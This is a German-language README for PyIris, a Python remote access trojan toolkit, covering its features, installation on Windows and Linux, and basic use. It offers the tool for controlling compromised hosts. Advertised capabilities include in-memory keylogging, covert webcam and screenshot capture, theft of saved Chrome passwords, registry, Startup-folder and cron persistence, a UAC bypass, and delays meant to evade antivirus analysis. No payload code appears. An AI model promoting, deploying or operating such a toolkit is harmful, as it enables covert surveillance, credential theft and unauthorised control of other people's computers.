Das Projekt durchläuft derzeit eine große Überarbeitung für Version 3, die aktuelle Version 2 wird veraltet. Siehe für weitere Informationen.

Das PyIris-Projekt (Updates kommen bald – siehe ROADMAP.md)

Das PyIris-Projekt ist ein modulares Remote-Access-Trojaner-Toolkit, das vollständig in Python geschrieben ist. Es ermöglicht Benutzern, dynamisch Remote-Access-Trojaner-Payloads zu erstellen, zu generieren und zu codieren/verschlüsseln, um andere kompromittierte Hosts fernzusteuern.

Demo von PyIris in Aktion auf mehreren Betriebssystemen (Windows und Linux)

Dynamisches Generieren eines Payloads in Windows

Fernsteuern eines Windows-Systems durch einen Scout in Ubuntu (Screenshot des Zielrechners ist vom Ubuntu-Angreiferrechner, da ich den Ubuntu-Rechner in einer VM betreibe)

Erstellen von Listenern, die Verbindungen von den Scouts in Kali Linux empfangen

Funktionen (sowohl Windows als auch Linux)

• Tab-Vervollständigung für die meisten Befehle
• Scouts dynamisch generieren
• Robuste Fehlerbehandlung, damit Scouts sich von plötzlichen Verbindungsabbrüchen erholen können
• Dateien von und zum Zielrechner hoch- und herunterladen
• Scouts schlafen legen, beenden und trennen
• Dateien von externen URLs herunterladen (Web-Downloads)
• Keylogging im Arbeitsspeicher
• Systeminformationen anzeigen
• Screenshots erstellen, ohne auf die Festplatte zu schreiben
• Alle derzeit sichtbaren und unsichtbaren Fenster auf dem Ziel anzeigen
• Prüfen, ob der Scout mit Admin-/Root-Rechten läuft
• Tastenanschläge einfügen
• Payloads in Windows-EXE oder Linux-ELF kompilieren
• Zwischenablagedaten löschen, setzen oder auslesen
• Audio einstellen
• Bilder von der Webcam aufnehmen, ohne auf die Festplatte zu schreiben
• Stapelbare Verschlüsselung des Scout-Payload-Quellcodes in einer theoretisch unendlichen Stapelung in unendlichen Variationen
• Beliebigen Python-Code ausführen und die Ergebnisse lesen, selbst wenn der Python-Interpreter auf dem Zielrechner nicht installiert ist (bei kompilierten Scouts)
• Admin-/Root-Rechte anfordern
• Beliebig lange schlafen, bevor der Scout startet (zur Umgehung der AV-Dynamikanalyse)
• Selbstlöschung (funktioniert nur bei Skripten)
• Webcam über TCP-Sockets streamen (ziemlich ruckelig – eine UDP-Version kommt)

Funktionen (Windows)

• Persistenz über die Windows-Registry erreichen (HKEY_CURRENT_USER)
• Persistenz über den Windows-Autostart-Ordner erreichen
• Remote-Befehlsausführung über cmd.exe oder powershell.exe (sofern nicht blockiert)
• URLs im nativen Browser öffnen (Internet Explorer – igitt)
• Benutzer ordnungsgemäß herunterfahren, neu starten, sperren, abmelden, ohne dass die Verbindung zum Scout-Payload hängt
• Dateien remote ausführen oder öffnen
• Die Leerlaufzeit des Benutzers prüfen
• Gespeicherte Chrome-Passwörter auslesen (funktioniert nicht mit den neuesten Chrome-Versionen, da sie die Verschlüsselungsmethode geändert haben und ich zu faul bin, dies zu aktualisieren lol)
• Tastatur/Maus des Ziels deaktivieren/aktivieren
• UAC über sdclt.exe umgehen (wurde in aktuellen Windows-Updates bereits gepatcht)

Funktionen (Linux)

• Persistenz über Cron-Jobs (crontab) erreichen
• Remote-Befehlsausführung über die Bash-Shell

Erste Schritte

Voraussetzungen

• Python 3.x (ich verwende Python 3.7.x)
• Git

Einrichten von PyIris (Windows)

Klone zuerst dieses Repository (stelle sicher, dass Git installiert ist), wechsle in das Hauptverzeichnis.

git clone https://github.com/angus-y/PyIris-backdoor

cd PyIris-backdoor

Installiere als nächstes die restlichen erforderlichen Module mit pip3. Installiere nur Module aus der Datei setup/windows/requirements.txt, da dieser Abschnitt für die Ausführung der Windows-Edition von PyIris gedacht ist.

pip3 install -r setup/windows/requirements.txt

Wenn du PyIris.py im Hauptverzeichnis zum ersten Mal ausführst, solltest du mit der Option begrüßt werden, einen Schlüssel zu generieren. Das zeigt an, dass alles korrekt installiert wurde.

Einrichten von PyIris (Linux)

Klone zuerst dieses Repository (stelle sicher, dass Git installiert ist), wechsle in das Hauptverzeichnis.

git clone https://github.com/angus-y/PyIris-backdoor

cd PyIris-backdoor

Installiere als nächstes eine externe Abhängigkeit, xlib, die von pyperclip über apt-get benötigt wird.

sudo apt-get install xclip

Installiere dann pyalsaaudio über apt-get. Wenn du auf Ubuntu installierst, lies bitte den untenstehenden Hinweis.

sudo apt-get install python3-alsaaudio

Installiere danach canberra-gtk-module, damit cv2 Webcam-Livestreams anzeigen kann.

sudo apt-get install libcanberra-gtk-module

Pyautogui lässt sich unter Linux nicht importieren, wenn tkinter nicht installiert ist, also müssen wir es installieren. Wir verwenden tkinter jedoch nicht für die Scouts.

sudo apt-get install python3-tk python3-dev

Installiere schließlich die restlichen erforderlichen Module mit pip3. Installiere nur Module aus der Datei setup/linux/requirements.txt, da dieser Abschnitt für die Ausführung der Linux-Edition von PyIris gedacht ist.

pip3 install -r setup/linux/requirements.txt

Wenn du es zum ersten Mal ausführst, solltest du mit der Option begrüßt werden, einen Schlüssel zu generieren. Das zeigt an, dass alles korrekt installiert wurde.

Aktualisieren von PyIris

Wechsle zuerst in den PyIris-backdoor-Ordner, dann führe aus:

git pull

Unter Windows, um neu hinzugefügte Drittanbietermodule zu installieren oder zu aktualisieren, führe aus:

cd setup/windows

pip3 install -r requirements.txt

Unter Linux, um neu hinzugefügte Drittanbietermodule zu installieren oder zu aktualisieren, führe aus:

cd setup/linux

pip3 install -r requirements.txt

Unterstützte Betriebssysteme

PyIris wurde erfolgreich auf den folgenden Betriebssystemen installiert

• Windows 10
• Kali Linux Rolling Releases
• Ubuntu
• Debian

Grundlegende Nutzung

Windows

py -3 PyIris.py

Wenn du aufgefordert wirst, einen Schlüssel zu generieren, drücke entweder die Eingabetaste oder gib einen Schlüssel ein, den du verwenden möchtest.

Linux

python3 PyIris.py

Wenn du aufgefordert wirst, einen Schlüssel zu generieren, drücke entweder die Eingabetaste oder gib einen Schlüssel ein, den du verwenden möchtest.

Erste Schritte

Der Befehl help ist dein Freund! Führe einfach help aus, um eine Liste aller Befehle zu erhalten, die du auf einer bestimmten Oberfläche verwenden kannst. Für weitere Details zu einem bestimmten Befehl führe help <Befehlsname> aus, um eine ausführlichere Hilfe zu erhalten. Alternativ kannst du den Befehl ? verwenden, der ein Alias für den help-Befehl ist. Ich plane, bald ein Wiki zu schreiben, das alle Befehle und Informationen detailliert beschreibt, die du für die Verwendung von PyIris benötigst.

FAQ